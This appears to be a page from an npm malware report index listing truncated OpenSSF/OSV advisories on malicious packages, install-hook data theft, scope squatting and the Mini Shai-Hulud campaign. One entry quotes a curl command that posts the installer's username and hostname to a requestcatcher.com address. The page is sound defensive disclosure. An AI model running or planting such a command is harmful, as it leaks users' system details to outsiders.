npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 646
Updated 26 Oct 2026, 05:11 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-5327 blocks this version. The OpenSSF Package Analysis project identified '@listings/energy-labels' @ 99.0.1 (npm) as malicious.
OpenSSF/OSV malware advisory MAL-2026-4190 blocks this version. On `npm install`, both preinstall and postinstall hooks execute index.js, which collects the installer's hostname, all non-...
OpenSSF/OSV malware advisory MAL-2026-4190 blocks this version. On `npm install`, both preinstall and postinstall hooks execute index.js, which collects the installer's hostname, all non-...
OpenSSF/OSV malware advisory MAL-2026-4189 blocks this version. @limebike/supreme-data-grid occupies the @limebike npm scope (private-looking namespace) with placeholder metadata and a RE...
OpenSSF/OSV malware advisory MAL-2026-4189 blocks this version. @limebike/supreme-data-grid occupies the @limebike npm scope (private-looking namespace) with placeholder metadata and a RE...
OpenSSF/OSV malware advisory MAL-2026-4189 blocks this version. @limebike/supreme-data-grid occupies the @limebike npm scope (private-looking namespace) with placeholder metadata and a RE...
OpenSSF/OSV malware advisory MAL-2026-4188 blocks this version. Both preinstall and postinstall lifecycle hooks in package.json execute index.js, which collects the installer's hostname,...
OpenSSF/OSV malware advisory MAL-2026-4188 blocks this version. Both preinstall and postinstall lifecycle hooks in package.json execute index.js, which collects the installer's hostname,...
OpenSSF/OSV malware advisory MAL-2026-4187 blocks this version. Package squats the @limebike npm scope and ships a preinstall/postinstall hook (`node index.js`) that, on `npm install`, co...
OpenSSF/OSV malware advisory MAL-2026-4123 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4123 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4124 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4124 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4125 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4125 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4229 blocks this version. On require(), index.js executes `curl -X POST "http://frgthyujiouyh.requestcatcher.com/noderedactedsdk/$(whoami)/$(hostname...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-6522 blocks this version. Package's main entry (dist/index.cjs) unconditionally requires dist/shai-hulud.js at module load. On require(), the code ha...
OpenSSF/OSV malware advisory MAL-2026-3255 blocks this version. Dependency confusion and typosquatting campaign by threat actor "saif777". Packages use inflated version numbers (9999.9999...